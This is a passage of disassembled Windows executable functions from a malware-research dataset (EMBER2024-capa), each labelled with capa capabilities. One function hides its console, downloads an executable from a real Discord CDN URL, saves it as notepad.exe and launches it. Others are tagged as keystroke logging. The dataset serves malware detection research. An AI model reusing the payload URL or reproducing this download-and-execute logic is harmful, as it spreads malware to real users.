joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140043450
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140093fc0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14004347d
xor eax, eax
jmp 0x1400435e9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400434b7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400434b7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400435e9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400435dc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400434fa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140043525
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400435e1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140043594
sub eax, 1
je 0x140043594
cmp eax, 2
jne 0x1400435dc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400435e1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400435c2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400435dc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400435e1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140058450
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140043a30
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140093fc0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140043b03
cmp byte [rcx + 0x71], 0
je 0x140043b03
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140043aff
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140043ac4
sub eax, 1
je 0x140043ac8
cmp eax, 2
jne 0x140043aff
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140058450
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140043af6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140043aff
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140043aac
xor al, al
jmp 0x140043aac
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140058450
add rsp, 0x60
pop rbx
ret
Function at 0x140046c20
Capabilities:
Create process on windows
Create thread
Download url
Get common file path
Receive data

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x140093fc0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140046c9b
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rsp + 0x50]
lea rdx, str.https:__cdn.discordapp.com_attachments_1210642843631231048_1216496819958186046_ntpad.exe_ex6609d473is65f75f73hm3214a0cd55f9a800ba928d420a52c7fbf2e560f8f56b3229c13459b8151b1d79
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rsp + 0x50]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140041d30
mov byte [0x140097eb0], 1
mov qword [rsp + 0x40], 3
lea rcx, [rsp + 0x40]
call fcn.14003e8c0
cmp byte [0x140097eb1], bl
je 0x140046cd4
mov ecx, 8
call fcn.140058b78
lea rcx, [0x14003e1c0]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14003ef90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140046d90
cmp dword [rsp + 0x38], 0
je 0x140046d84
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140046d84
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
call fcn.14003d910
nop
cmp dword [rsp + 0x38], 0
je 0x140046d69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140058450
add rsp, 0x270
pop rbx
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14004d130
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov qword [0x140096d08], rcx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x14004d189
mov rcx, qword [rbx + 0x360]
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_ScreenToClient]
movd xmm0, dword [rsp + 0x40]
movd xmm1, dword [rsp + 0x44]
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
movsd qword [0x140096cf8], xmm0
movsd qword [0x140096d00], xmm1
mov eax, dword [rbx + 0x8c]
cmp eax, 0x34001
je 0x14004d1a6
cmp eax, 0x34004
je 0x14004d1a6
mov rcx, qword [0x140096d28]
jmp 0x14004d1c5
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x14004d1b5
mov rcx, qword [rcx + 8]
jmp 0x14004d1c5
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, rbx
call fcn.140046f90
mov rcx, rbx
call fcn.14004c750
cmp dword [rbx + 0x208], 0
je 0x14004d222
mov rax, qword [rbx + 0x360]
lea rcx, [rsp + 0x20]
mov edx, 1
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x14004d222
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.140050da0
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14004d230
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x14004d272
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.140050da0
add rsp, 0x38
ret
Function at 0x14004d280
Capabilities:
Register raw input devices

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x208], 0
mov rbx, rcx
je 0x14004d2d0
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x14004d2d0
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.140050da0
xor ecx, ecx
mov qword [0x140096d08], 0
call qword [sym.imp.USER32.dll_ClipCursor]
cvttsd2si ecx, qword [0x140096cf8]
mov qword [0x140096d10], 0
lea rdx, [rsp + 0x40]
cvttsd2si eax, qword [0x140096d00]
mov dword [rsp + 0x40], ecx
mov dword [rbx + 0x3a0], ecx
mov rcx, qword [rbx + 0x360]
mov dword [rsp + 0x44], eax
mov dword [rbx + 0x3a4], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, dword [rbx + 0x8c]
cmp eax, 0x34001
je 0x14004d359
cmp eax, 0x34004
je 0x14004d359
mov rcx, qword [0x140096d28]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x14004d372
mov rcx, qword [rcx + 8]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]

Function at 0x14004d390
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov rax, qword [rcx + 0x360]
mov edx, 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x14004d3d2
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.140050da0
add rsp, 0x38
ret

Function at 0x14004d480
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, 0x11
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, ebx
mov ecx, 0x12
or edi, 2
test ax, ax
cmovns edi, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
mov esi, edi
mov ecx, 0x5c
or esi, 4
test ax, ax
cmovns esi, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x5b
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, esi
mov ecx, 0x14
or edi, 8
or bx, ax
cmovns edi, esi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ebx, edi
mov ecx, 0x90
or ebx, 0x10
test al, 1
cmove ebx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov rsi, qword [rsp + 0x38]
mov ecx, ebx
or ecx, 0x20
test al, 1
cmove ecx, ebx
mov rbx, qword [rsp + 0x30]
mov eax, ecx
add rsp, 0x20
pop rdi
ret
Function at 0x140050260
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx + 4], eax
cmp eax, 0xffffffff
jne 0x140050290
lea rdx, str.Win32:_Failed_to_allocate_TLS_index
mov ecx, 0x10008
call fcn.14004ea70
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov dword [rbx], 1
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x140051150
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x140093fc0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x140096622]
mov r8d, 0x6d1
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x40]
mov qword [rsp + 0x1d0], rdi
sub r14, 0x480
lea rbp, [0x1400963a8]
xor r12d, r12d
lea r15, [0x1400966c2]
mov ebx, 0x20
movsx esi, word [rbp]
cmp esi, 0xffffffff
je 0x140051308
cmp ebx, 0x140
jb 0x14005126f
cmp ebx, 0x14e
ja 0x14005126f
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x44], 0x61
mov dword [rsp + 0x48], 0x62
mov dword [rsp + 0x4c], 0x63
mov dword [rsp + 0x50], 0x64
mov dword [rsp + 0x54], 0x65
mov dword [rsp + 0x58], 0x66
mov dword [rsp + 0x5c], 0x67
mov dword [rsp + 0x60], 0x68
mov dword [rsp + 0x64], 0x69
mov dword [rsp + 0x68], 0x6e
mov dword [rsp + 0x6c], 0x6f
mov dword [rsp + 0x70], 0x6a
mov dword [rsp + 0x74], 0x6d
mov dword [rsp + 0x78], 0x6b
mov edi, dword [r14]
jmp 0x14005127e
mov edx, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edi, eax
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], 0x10
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 0xffffffff
jne 0x1400512d1
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], 0x10
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jl 0x140051308
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x80]
mov qword [rsp + 0x30], r12
mov r9d, 1
mov dword [rsp + 0x28], 5
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebx
add r15, 5
add r14, 4
add rbp, 2
cmp ebx, 0x15c
jle 0x1400511d1
mov rdi, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140058450
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x140055520
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
cmp qword [0x140095ea0], 0
lea rax, str.libOSMesa.dll
lea rcx, str.OSMesa.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
je 0x140055559
mov eax, 1
add rsp, 0x48
ret
mov qword [rsp + 0x40], rbx
xor ebx, ebx
mov rcx, rax
call sub.KERNEL32.dll_LoadLibraryA
mov qword [0x140095ea0], rax
mov rcx, rax
test rax, rax
jne 0x140055584
mov rax, qword [rsp + rbx*8 + 0x28]
inc rbx
test rax, rax
jne 0x140055560
mov rbx, qword [rsp + 0x40]
test rcx, rcx
jne 0x1400555a6
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.14004ea70
xor eax, eax
add rsp, 0x48
ret
lea rdx, str.OSMesaCreateContextExt
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140095ea0]
lea rdx, str.OSMesaCreateContextAttribs
mov qword [0x140095ea8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140095ea0]
lea rdx, str.OSMesaDestroyContext
mov qword [0x140095eb0], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140095ea0]
lea rdx, str.OSMesaMakeCurrent
mov qword [0x140095eb8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140095ea0]
lea rdx, str.OSMesaGetColorBuffer
mov qword [0x140095ec0], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140095ea0]
lea rdx, str.OSMesaGetDepthBuffer
mov qword [0x140095ec8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140095ea0]
lea rdx, str.OSMesaGetProcAddress
mov qword [0x140095ed0], rax
call sub.KERNEL32.dll_GetProcAddress
cmp qword [0x140095ea8], 0
mov qword [0x140095ed8], rax
je 0x140055690
cmp qword [0x140095eb8], 0
je 0x140055690
cmp qword [0x140095ec0], 0
je 0x140055690
cmp qword [0x140095ec8], 0
je 0x140055690
cmp qword [0x140095ed0], 0
je 0x140055690
test rax, rax
jne 0x14005554f
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.14004ea70
mov rcx, qword [0x140095ea0]
test rcx, rcx
je 0x1400556bd
call fcn.140056cc0
mov qword [0x140095ea0], 0
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400591f4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005923e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005923e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005923e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005923e
cmp dword [rcx + 0x84], 0xe
jbe 0x14005923e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140059240
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404530]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00404540]
mov dword [rax], 1
mov rax, qword [0x00404550]
mov dword [rax], 1
mov rax, qword [0x00404520]
mov dword [rax], 1
mov rax, qword [0x00404410]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00404510]
mov dword [0x0040700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x004044d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004043c0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401b50
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x401bc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00407614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x401d68
mov rax, qword [0x00407618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401c0c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401c97
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401bf0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x401da2
mov rax, qword [0x00407618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401db1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401c90
sub eax, 4
and eax, 0xfffffffb
jne 0x401d20
add dword [0x00407614], 1
cmp ebx, 8
jae 0x401cc8
test bl, 4
jne 0x401d70
test ebx, ebx
je 0x401cb9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x401d90
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401cb9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401cfa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00407618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401c90
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x401c17
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x401cb9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x401cb9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x00407618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x402590
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x4025e4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x4025db
test r12, r12
je 0x4025db
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4025c0
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402810
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x402820
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x402830
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402875
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x40286c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402877
add rax, 0x28
cmp rax, r9
jne 0x402858
xor eax, eax
ret

Function at 0x402920
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00404410]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402999
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402999
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402996
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x40298d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402999
add r8, 0x28
cmp r8, r9
jne 0x402978
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x402a80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00404410]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x402aef
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402aef
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x402aed
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402ae4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402af8
add rax, 0x28
cmp rax, r9
jne 0x402ad0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x402b10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404410]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x402b88
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b88
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x402b88
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402b88
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
